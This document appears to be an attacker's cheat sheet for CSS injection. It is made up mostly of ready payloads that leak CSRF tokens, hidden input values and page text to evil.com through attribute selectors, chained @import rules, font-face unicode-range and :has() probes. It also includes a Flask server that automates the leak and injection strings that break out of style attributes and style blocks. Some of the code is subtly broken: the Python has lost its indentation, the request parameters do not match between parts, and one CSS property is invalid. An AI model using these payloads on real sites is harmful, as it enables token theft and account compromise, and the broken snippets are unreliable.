Steal CSRF tokens, hidden input values, or any HTML attribute character-by-character:
/* If you can inject CSS (via style tag, import, or CSS injection point) */
/* Exfil attribute values one char at a time */
input[name="csrf"][value^="a"] { background: url(https://evil.com/exfil?csrf=a); }
input[name="csrf"][value^="b"] { background: url(https://evil.com/exfil?csrf=b); }
input[name="csrf"][value^="c"] { background: url(https://evil.com/exfil?csrf=c); }
/* ... for each character */
/* After first char confirmed (e.g., "x"), continue: */
input[name="csrf"][value^="xa"] { background: url(https://evil.com/exfil?csrf=xa); }
input[name="csrf"][value^="xb"] { background: url(https://evil.com/exfil?csrf=xb); }
/* ... iterate until full value extracted *//* Server at evil.com dynamically generates next CSS based on callback */
/* First request loads: */
@import url(https://evil.com/steal?pos=0);
/* evil.com responds with attribute selectors for position 0 */
/* When callback fires for char "x", evil.com generates next import: */
@import url(https://evil.com/steal?pos=1&known=x);
/* This chains automatically until full value is extracted */# Server-side (Flask) to automate CSS exfil
from flask import Flask, request, Response
app = Flask(__name__)
known = ""
@app.route('/steal')
def steal():
global known
c = request.args.get('c', '')
if c:
known += c
print(f"[+] Extracted so far: {known}")
# Generate CSS for next position
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
css = ""
for ch in charset:
css += f'input[name="csrf"][value^="{known}{ch}"] {{ background: url(https://evil.com/steal?c={ch}); }}\n'
return Response(css, mimetype='text/css')/* Steal text node content using font-face + unicode-range */
/* Create fonts that trigger requests for specific characters */
@font-face {
font-family: 'exfil';
src: url(https://evil.com/exfil?c=a);
unicode-range: U+0061; /* 'a' */
}
@font-face {
font-family: 'exfil';
src: url(https://evil.com/exfil?c=b);
unicode-range: U+0062; /* 'b' */
}
/* ... for each character */
.target-element { font-family: 'exfil', sans-serif; }/* Detect typed characters in input fields (limited) */
input[value$="a" i] { background: url(https://evil.com/key?k=a); }
input[value$="b" i] { background: url(https://evil.com/key?k=b); }
/* Works with React/Vue that sync value attribute with state *//* CSS :has() selector enables conditional styling based on descendants */
/* Extract whether certain elements/classes exist on page */
html:has(input[name="admin"][value="true"]) {
background: url(https://evil.com/is-admin);
}
html:has(.premium-user) {
background: url(https://evil.com/is-premium);
}
/* Exfil sibling/child relationships */
form:has(input[name="token"][value^="abc"]) {
background: url(https://evil.com/token-starts-abc);
}# Common injection points:
# - Inline style attributes
# - CSS custom properties / var()
# - Theme/color customization features
# - Email templates with user-controlled colors
# - Profile customization (background color, font)
# Injection into style attribute:
# Input: red; background: url(https://evil.com/exfil)
# Rendered: <div style="color: red; background: url(https://evil.com/exfil)">
# Injection into <style> block:
# Input: red;} body{background:url(https://evil.com/exfil)}
# Rendered: <style>.user-theme{color:red;} body{background:url(https://evil.com/exfil)}</style>
# Via @import:
# Input: ;} @import url(https://evil.com/evil.css); .x{
/* Detect if element exists via CSS animation timing */
/* Load heavy resource only if selector matches */
@keyframes exfil { from {} to {} }
input[name="secret"][value^="x"] {
animation: exfil 0.1s;
animation-name: url(https://evil.com/timing);
}# CSS injection is powerful because:
# - Not blocked by script-src CSP
# - Works even with strict CSP that blocks inline/external JS
# - Can extract CSRF tokens, hidden fields, page content
# - Combine with dangling markup for more power